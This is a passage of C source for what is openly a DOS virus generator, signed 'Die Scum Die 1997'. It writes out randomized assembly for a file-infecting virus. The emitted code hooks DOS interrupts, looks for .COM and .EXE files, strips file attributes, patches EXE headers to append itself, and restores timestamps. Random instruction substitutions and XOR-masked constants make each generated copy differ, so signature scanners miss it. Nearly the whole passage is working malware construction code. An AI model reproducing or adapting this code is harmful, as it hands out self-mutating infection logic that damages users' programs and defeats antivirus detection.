            fprintf(virname,"        pop     cx                         \n");
        }
        if (c6==1) {
            fprintf(virname,"        push cx                                             \n");
            fprintf(virname,"        xor     cx,cx                       \n");
            fprintf(virname,"        add     cx,0100h                    \n");
            fprintf(virname,"        mov     cx,ax              \n");
            fprintf(virname,"        xor     ax,ax                    \n");

            fprintf(virname,"pooper:                                     \n");
            fprintf(virname,"        inc     ax                         \n");
            fprintf(virname,"        mov     word ptr jump+1, ax        \n");
            fprintf(virname,"        loop    pooper                     \n");
            fprintf(virname,"        pop     cx                         \n");
        }
        if (c6==2) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0000h               \n");
            fprintf(virname,"        mov     ch,ah                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(virname,"        mov     cl,al                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(virname,"pooper:                              \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        loop    pooper              \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        if (c6==3) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0000h             \n");
            fprintf(virname,"        mov     cl,al                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(virname,"        mov     ch,ah                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(virname,"pooper:                              \n");
            fprintf(virname,"        inc     cx                  \n");
            fprintf(virname,"        sub     cx,0001h           \n");
            fprintf(virname,"        loop    pooper              \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        if (c6==4) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        xchg    cx, ax             \n");
            fprintf(virname,"        mov     ax, 0000h             \n");
            fprintf(virname,"pooper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        loop    pooper              \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        if (c6==5) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        xchg    cx, ax             \n");
            fprintf(virname,"        mov     ax, 0000h             \n");
            fprintf(virname,"pooper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        mov     word ptr jump+1, ax \n");
            fprintf(virname,"        loop    pooper              \n");
            fprintf(virname,"        pop     cx                  \n");
        }
        /*  =============== End Of Blender Point #6  ======================== */

        /* Possible Blender  */
        fprintf(virname,"        mov     ax, relocs                          \n");
        fprintf(virname,"        add     ax, 10h                             \n");

        /*  =============== Beginning Of Blender Point #7 ==================== */
        fprintf(virname,";------------| mov word ptr jump+3, ax|-------- Point #7 ------\n");
        c6old=c6;
        for (;;){
            if (c7!=c7old) break;
            for (rn1=0;rn1<803;rn1++) c7=random(6);
        }
        c7=c7+1;
        if (c7==6) c7=0;
        if (c7==0) {
            fprintf(virname,"        push    cx                         \n");
            fprintf(virname,"        mov     cx,ax                       \n");
            fprintf(virname,"        xor     ax,ax                    \n");
            fprintf(virname,"dooper:                                     \n");
            fprintf(virname,"        inc     ax                         \n");
            fprintf(virname,"        mov     word ptr jump+3, ax        \n");
            fprintf(virname,"        loop    dooper                     \n");
            fprintf(virname,"        pop      cx                         \n");
        }
        if (c7==1) {
            fprintf(virname,"        push    cx                         \n");
            fprintf(virname,"        xor     cx, cx                       \n");
            fprintf(virname,"        add     cx, 0100h                    \n");
            fprintf(virname,"        mov     cx, ax                       \n");
            fprintf(virname,"        xor     ax,ax                    \n");
            fprintf(virname,"dooper:                                     \n");
            fprintf(virname,"        inc     ax                         \n");
            fprintf(virname,"        mov     word ptr jump+3, ax        \n");
            fprintf(virname,"        loop    dooper                     \n");
            fprintf(virname,"        pop      cx                         \n");
        }
        if (c7==2) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0000h               \n");
            fprintf(virname,"        mov     ch,ah                     \n");
            fprintf(virname,"        mov     cl,al                    \n");
            fprintf(virname,"        mov     ax,0000h             \n");
            fprintf(virname,"dooper:                              \n");
            fprintf(virname,"        mov     word ptr jump+3, ax \n");
            fprintf(virname,"        loop    dooper              \n");
            fprintf(virname,"        pop      cx                  \n");
        }
        if (c7==3) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        mov     cx,0000h             \n");
            fprintf(virname,"        mov     cl,al                  \n");
            fprintf(virname,"        mov     ch,ah                  \n");
            fprintf(virname,"        mov     ax,0000h             \n");
            fprintf(virname,"dooper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        loop    dooper              \n");
            fprintf(virname,"        mov     word ptr jump+3, ax \n");
            fprintf(virname,"        pop      cx                  \n");
        }
        if (c7==4) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        xchg    cx, ax             \n");
            fprintf(virname,"        mov     ax, 0000h             \n");
            fprintf(virname,"dooper:                              \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        loop    dooper              \n");
            fprintf(virname,"        mov     word ptr jump+3, ax \n");
            fprintf(virname,"        pop      cx                  \n");
        }
        if (c7==5) {
            fprintf(virname,"        push cx                      \n");
            fprintf(virname,"        xchg    cx, ax             \n");
            fprintf(virname,"        mov     ax, 0000h             \n");
            fprintf(virname,"dooper:                              \n");
            fprintf(virname,"        mov     word ptr jump+3, cx \n");
            fprintf(virname,"        inc     ax                  \n");
            fprintf(virname,"        loop    dooper              \n");
            fprintf(virname,"        mov     word ptr jump+3, ax \n");
            fprintf(virname,"        pop      cx                  \n");
        }
        /*  =============== End Of Blender Point #7  ======================== */

        /* Possible Blender  */
        fprintf(virname,"        mov     ax, reloss                          \n");
        fprintf(virname,"        add     ax, 10h                             \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR sssave+1, ax               \n");
        fprintf(virname,"        pop     ax                                  \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     di, dx                              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     si, ax                              \n");
        fprintf(virname,"        add     ax, OFFSET mod_top                  \n");
        fprintf(virname,"        adc     dx, 0                               \n");
        fprintf(virname,"        div     c_200                               \n");
        fprintf(virname,"        inc     ax                                  \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     pagecnt, ax                         \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     partpag, dx                         \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ax, hdrsize                         \n");
        fprintf(virname,"        mul     c_10                                \n");
        fprintf(virname,"        xchg    dx, di                              \n");
        fprintf(virname,"        xchg    ax, si                              \n");
        fprintf(virname,"        sub     ax, si                              \n");
        fprintf(virname,"        sbb     dx, di                              \n");
        fprintf(virname,"        div     c_10                                \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     exeip, dx                           \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     relocs, ax                          \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     reloss, ax                          \n");
        fprintf(virname,"        inc     minmem                              \n");
        fprintf(virname,"write_f:                                            \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ax, exeip                           \n");
        fprintf(virname,"        add     ax, STK_SIZE                        \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     exesp, ax                           \n");
        fprintf(virname,";------------| cwd |-------- Minor #4 ------\n");

        cminor=random(7);
        if (cminor==0) {
            fprintf(virname,"        xor     dx,dx  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     dx,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     dx,dx  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     dx,dx  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     dx,%sh  \n",src1);
            fprintf(virname,"        sub     dx,%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(virname,"        cwd              \n");
        }
        if (cminor==5) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     dx,%sh  \n",src1);
            fprintf(virname,"        xor     dx,dx  \n");
        }
        if (cminor==6) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     dx,%sh  \n",src1);
            fprintf(virname,"        sub     dx,%sh  \n",src1);
            fprintf(virname,"        xor     dx,dx  \n");
        }
        /* Possible Blender  */
        fprintf(virname,"        mov     cx, OFFSET mod_top                  \n");
        fprintf(virname,"        call    write                               \n");
        fprintf(virname,";------------| xor al, al |-------- Minor #5 ------\n");
        cminor=random(6);
        if (cminor==0) {
            fprintf(virname,"        xor     al,al  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     al,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     al,al  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     al,al  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     al,%sh  \n",src1);
            fprintf(virname,"        sub     al,%sh  \n",src1);
        }
        if (cminor==4) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     al,%sh  \n",src1);
            fprintf(virname,"        xor     al,al  \n");
        }
        if (cminor==5) {
            fprintf(virname,"        xor     al,al  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     al,%sh  \n",src1);
            fprintf(virname,"        sub     al,%sh  \n",src1);
        }
        fprintf(virname,"        call    int_str                             \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     dx, OFFSET header                   \n");
        fprintf(virname,";------------| mov cx,20h |------------ XOR #* -----------\n");
        y=random(32000)+1;
        z=32;
        xor=z^y;
        fprintf(virname,"        mov     cx, 0%xh\n",xor);
        fprintf(virname,"        xor     cx, 0%xh\n",y);
        fprintf(virname,"        call    write                               \n");
        fprintf(virname,"        retn                                        \n");
        fprintf(virname,"exec_fil                ENDP                        \n");
        fprintf(virname,"doit                    PROC    NEAR                \n");
        fprintf(virname,"        lodsb                                       \n");
        fprintf(virname,"        cmp     al, 'a'                             \n");
        fprintf(virname,"        jb      j1                                  \n");
        fprintf(virname,"        sub     al, ('a'-'A')                       \n");
        fprintf(virname,"j1:                                                 \n");
        fprintf(virname,"        cmp     al, ah                              \n");
        fprintf(virname,"        retn                                        \n");
        fprintf(virname,"doit                    ENDP                        \n");
        fprintf(virname,"file_o                  PROC    NEAR                \n");
        fprintf(virname,"        pop     bx                                  \n");
        fprintf(virname,"        push    ds                                  \n");
        fprintf(virname,"        pop     es                                  \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     di, dx                              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     al, '.'                             \n");
        fprintf(virname,";------------| mov ch,01h |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=1;
        xor=z^y;
        fprintf(virname,"        mov     ch, 0%xh\n",xor);
        fprintf(virname,"        xor     ch, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(virname,"        mov     cl,00h                              \n");
        fprintf(virname,"        repne   scasb                               \n");
        fprintf(virname,"        jne     abort                               \n");
        fprintf(virname,"        mov     si, di                              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ah, 'C'                             \n");
        fprintf(virname,"        call    doit                                \n");
        fprintf(virname,"        jne     n_exe                               \n");
        fprintf(virname,"c_2:                                                \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ah, 'O'                             \n");
        fprintf(virname,"        call    doit                                \n");
        fprintf(virname,"        jne     n_exe                               \n");
        fprintf(virname,"c_3:                                                \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ah, 'M'                             \n");
        fprintf(virname,"        call    doit                                \n");
        fprintf(virname,"        je      contin                              \n");
        fprintf(virname,"n_exe:                                              \n");
        fprintf(virname,"        mov     si, di                              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ah, 'E'                             \n");
        fprintf(virname,"        call    doit                                \n");
        fprintf(virname,"        jne     abort                               \n");
        fprintf(virname,"e_2:                                                \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ah, 'X'                             \n");
        fprintf(virname,"        call    doit                                \n");
        fprintf(virname,"        jne     abort                               \n");
        fprintf(virname,"e_3:                                                \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     ah, 'E'                             \n");
        fprintf(virname,"        call    doit                                \n");
        fprintf(virname,"        je      contin                              \n");
        fprintf(virname,"abort:                                              \n");
        fprintf(virname,"        retn                                        \n");
        fprintf(virname,"contin:                                             \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     WORD PTR cs:exec_p, bx              \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     si, dx                              \n");
        fprintf(virname,";------------| mov ax, 3300h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=13056;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        push    dx                                  \n");
        fprintf(virname,";------------| mov ax, 3301h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=13057;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        push    ax                                  \n");
        /* Possible Blender  */
        fprintf(virname,"        xor     dl, dl                              \n");
        fprintf(virname,"        call    int_21                              \n");
        /* Possible Blender  */
        fprintf(virname,";------------| mov ax, 3524h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=13604;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        push    es                                  \n");
        fprintf(virname,"        push    bx                                  \n");
        fprintf(virname,"        push    ds                                  \n");
        fprintf(virname,"        push    cs                                  \n");
        fprintf(virname,"        pop     ds                                  \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     dx, (int_24h-start)                 \n");
        fprintf(virname,";------------| mov ax, 2524h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=9508;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        pop     ds                                  \n");
        fprintf(virname,";------------| mov ah, 54h |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=84;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        push    ax                                  \n");
        fprintf(virname,";------------| mov ax, 2e00h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=11776;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        mov     dx, 1                               \n");
        fprintf(virname,"        call    retry                               \n");
        fprintf(virname,"        mov     dx, si                              \n");
        fprintf(virname,"        push    ds                                  \n");
        fprintf(virname,"        push    dx                                  \n");
        fprintf(virname,";------------| mov ax, 4300h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=17152;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        push    cx                                  \n");
        fprintf(virname,"        test    cl, 1                               \n");
        fprintf(virname,"        jz      skip1                               \n");
        fprintf(virname,";------------| mov ax, 4301h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=17153;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,";------------| xor cx,cx |-------- Minor #6 ------\n");

        cminor=random(5);
        if (cminor==0) {
            fprintf(virname,"        xor     cx,cx  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     cx,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     cx,cx  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     cx,cx  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     cx,%sh  \n",src1);
            fprintf(virname,"        sub     cx,%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(virname,"        xor     cx,cx  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        sub     cx,%sh  \n",src1);
            fprintf(virname,"        add     cx,%sh  \n",src1);
        }

        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        jc      skip2                               \n");
        fprintf(virname,"skip1:                                              \n");
        fprintf(virname,";------------| mov ax, 3d02h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=15618;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21                              \n");
        fprintf(virname,"        jc      skip2                               \n");
        fprintf(virname,"        mov     WORD PTR cs:int_han+1, ax         \n");
        fprintf(virname,";------------| mov ax, 5700h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=22272;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_han              \n");
        fprintf(virname,"        push    cx                   \n");
        fprintf(virname,"        push    dx                   \n");
        fprintf(virname,"        call    WORD PTR cs:exec_p   \n");
        fprintf(virname,"        pop     dx                   \n");
        fprintf(virname,"        pop     cx                   \n");
        fprintf(virname,";------------| mov ax, 5700h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=22272;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        //        fprintf(virname,"        mov     ax,0000h             \n");
        //        fprintf(virname,"        xor     ax,5700h             \n");
        fprintf(virname,"        inc     ax                   \n");
        fprintf(virname,"        call    int_han              \n");
        fprintf(virname,";------------| mov ah, 3eh |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=62;
        xor=z^y;
        fprintf(virname,"        mov     ah, 0%xh\n",xor);
        fprintf(virname,"        xor     ah, 0%xh\n",y);
        fprintf(virname,"        call    int_han              \n");
        fprintf(virname,"skip2:                               \n");
        fprintf(virname,"        pop     cx                   \n");
        fprintf(virname,"        pop     dx                   \n");
        fprintf(virname,"        pop     ds                   \n");
        /* Possible Blender  */
        fprintf(virname,"        xor     ch, ch               \n");
        fprintf(virname,"        test    cl, 1                \n");
        fprintf(virname,"        jz      skip3                \n");
        fprintf(virname,"                                     \n");
        fprintf(virname,";------------| mov ax, 4301h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=17153;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"                                     \n");
        fprintf(virname,"        call    int_21               \n");
        fprintf(virname,"skip3:                               \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     dx, 3                \n");
        fprintf(virname,"        call    retry                \n");
        fprintf(virname,"        pop     ax                   \n");
        fprintf(virname,";------------| mov ah, 2eh |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=46;
        xor=z^y;
        fprintf(virname,"        mov     ah, 0%xh\n",xor);
        fprintf(virname,"        xor     ah, 0%xh\n",y);
        fprintf(virname,"        call    int_21               \n");
        fprintf(virname,"        pop     dx                   \n");
        fprintf(virname,"        pop     ds                   \n");
        fprintf(virname,";------------| mov ax, 2524h |------------ XOR #* -----------\n");
        y=random(65533)+1;
        z=9508;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        fprintf(virname,"        call    int_21               \n");
        fprintf(virname,"        pop     ax                   \n");
        fprintf(virname,"        pop     dx                   \n");
        fprintf(virname,"        call    int_21               \n");
        fprintf(virname,"exit_o:                              \n");
        fprintf(virname,"        retn                         \n");
        fprintf(virname,"file_o                  ENDP         \n");
        fprintf(virname,"io                      PROC    NEAR \n");
        fprintf(virname,"read:                                \n");
        fprintf(virname,";------------| mov ah, 3fh |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=63;
        xor=z^y;
        fprintf(virname,"        mov     ah, 0%xh\n",xor);
        fprintf(virname,"        xor     ah, 0%xh\n",y);
        fprintf(virname,"        jmp     SHORT l_io           \n");
        fprintf(virname,"write:                               \n");
        /* Possible Blender  */
        fprintf(virname,";------------| mov ah, 40h |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=64;
        xor=z^y;
        fprintf(virname,"        mov     ah, 0%xh\n",xor);
        fprintf(virname,"        xor     ah, 0%xh\n",y);
        fprintf(virname,"l_io:                                \n");
        fprintf(virname,"        call    int_han              \n");
        fprintf(virname,"        jc      err_io               \n");
        fprintf(virname,"        cmp     ax, cx               \n");
        fprintf(virname,"        jnc     ret_io               \n");
        fprintf(virname,"err_io:                              \n");
        fprintf(virname,"        pop     ax                   \n");
        fprintf(virname,"ret_io:                              \n");
        fprintf(virname,"        retn                         \n");
        fprintf(virname,"io                      ENDP         \n");
        fprintf(virname,"service                 PROC    NEAR \n");
        fprintf(virname,"retry:                               \n");
        fprintf(virname,";------------| mov ax, 440bh |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=17419;
        xor=z^y;
        fprintf(virname,"        mov     ax, 0%xh\n",xor);
        fprintf(virname,"        xor     ax, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(virname,"        mov     cx, 1                \n");
        fprintf(virname,"        jmp     SHORT int_21         \n");
        fprintf(virname,"int_str:                             \n");
        fprintf(virname,";------------| xor cx,cx |-------- Minor #7 ------\n");
        cminor=random(6);
        if (cminor==0) {
            fprintf(virname,"        xor     cx,cx  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     cx,0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     cx,cx  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     cx,cx  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     cx,%sh  \n",src1);
            fprintf(virname,"        sub     cx,%sh  \n",src1);
        }
        if (cminor==4) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     cx,%sh  \n",src1);
            fprintf(virname,"        xor     cx,cx  \n");
        }
        if (cminor==5) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     cx,%sh  \n",src1);
            fprintf(virname,"        sub     cx,%sh  \n",src1);
            fprintf(virname,"        xor     cx,cx  \n");
        }

        fprintf(virname,";------------| xor dx,dx |-------- Minor #8 ------\n");
        cminor=random(8);
        if (cminor==0) {
            fprintf(virname,"        xor     dx, dx  \n");
        }
        if (cminor==1) {
            fprintf(virname,"        mov     dx, 0  \n");
        }
        if (cminor==2) {
            fprintf(virname,"        sub     dx, dx  \n");
        }
        if (cminor==3) {
            fprintf(virname,"        xor     dx, dx  \n");
            itoa(random(40),src1,10);
            fprintf(virname,"        add     dx, 0%sh  \n",src1);
            fprintf(virname,"        sub     dx, 0%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(virname,"        cwd              \n");
        }
        if (cminor==5) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     dx, %sh  \n",src1);
            fprintf(virname,"        xor     dx, dx  \n");
        }
        if (cminor==6) {
            itoa(random(40),src1,10);
            fprintf(virname,"        add     dx, %sh  \n",src1);
            fprintf(virname,"        sub     dx, %sh  \n",src1);
            fprintf(virname,"        xor     dx, dx  \n");
        }
        if (cminor==7) {
            fprintf(virname,"        mov     dx, cx         \n");
        }

        fprintf(virname,"int_set:                             \n");
        /* Possible Blender  */
        fprintf(virname,";------------| mov ah, 42h |------------ XOR #* -----------\n");
        y=random(253)+1;
        z=66;
        xor=z^y;
        fprintf(virname,"        mov     ah, 0%xh\n",xor);
        fprintf(virname,"        xor     ah, 0%xh\n",y);
        fprintf(virname,"int_han:                             \n");
        /* Possible Blender  */
        fprintf(virname,"        mov     bx, 0                \n");
        fprintf(virname,"int_21:                              \n");
        fprintf(virname,"        pushf                        \n");
        fprintf(virname,"        cli                          \n");
        fprintf(virname,"        call    DWORD PTR cs:vec_21h \n");
        fprintf(virname,"        retn                         \n");
        fprintf(virname,"service                 ENDP         \n");
        fprintf(virname,"                        DB      '");
        stpcpy (beta,"Retch EveryOne Hates U");
        /* Hehe 50/50 reverse */
        ul1=strlen("Retch EveryOne Hates U");
        for(loop1=0;loop1<ul1;loop1++){
            s=beta[loop1];
            x=random(2);
            if (x==1){
                t=toupper(s);
            }
            if (x==0){
                t=tolower(s);
            }
            fprintf(virname,"%c",t);
        }
        fprintf(virname,"!'\n");

        fprintf(virname,"mod_top:                                \n");
        fprintf(virname,"vec_21h                 DD      0       \n");
        fprintf(virname,"vec_24h                 DD      0       \n");
        fprintf(virname,"exec_p                  DW      0       \n");
        fprintf(virname,"sav_bp                  DW      0       \n");
        fprintf(virname,"sav_sp                  DW      0       \n");
        fprintf(virname,"sav_ss                  DW      0       \n");
        fprintf(virname,"header                  DW      0       \n");
        fprintf(virname,"partpag                 DW      0       \n");
        fprintf(virname,"pagecnt                 DW      0       \n");
        fprintf(virname,"relocnt                 DW      0       \n");
        fprintf(virname,"hdrsize                 DW      0       \n");
        fprintf(virname,"minmem                  DW      0       \n");
        fprintf(virname,"maxmem                  DW      0       \n");
        fprintf(virname,"reloss                  DW      0       \n");
        fprintf(virname,"exesp                   DW      0       \n");
        fprintf(virname,"chksum                  DW      0       \n");
        fprintf(virname,"exeip                   DW      0       \n");
        fprintf(virname,"relocs                  DW      0       \n");
        fprintf(virname,"tabloff                 DW      0       \n");
        fprintf(virname,"overlay                 DW      0       \n");
        fprintf(virname,"sizform                 DW      0       \n");
        fprintf(virname,"stack_are               DB      100 DUP(?)                                        \n");
        fprintf(virname,"are_top:                                                                          \n");
        fprintf(virname,"ouexit:                                                                           \n");
        fprintf(virname,"        mov     ah, 4ch                 \n");
        fprintf(virname,"        int     21h                     \n");
        fprintf(virname,"seg_c                   ENDS                                                      \n");
        fprintf(virname,"seg_s                   SEGMENT BYTE stack                                        \n");
        fprintf(virname,"                        DW      20 DUP (?)                                        \n");
        fprintf(virname,"seg_s                   ENDS                                                      \n");
        fprintf(virname,"END             start\n");
        fprintf(virname,"; 7 Blenderized Components in order  %d, %d, %d, %d, %d, %d, %d \n",c1,c2,c3,c4,c5,c6,c7);
        fprintf(virname,";              (c) Die Scum Die 1997\n");
        fclose(virname);
        rn2++;
        /*        printf("End of round %d \n\n",rn2);*/
    }


    return 0;
}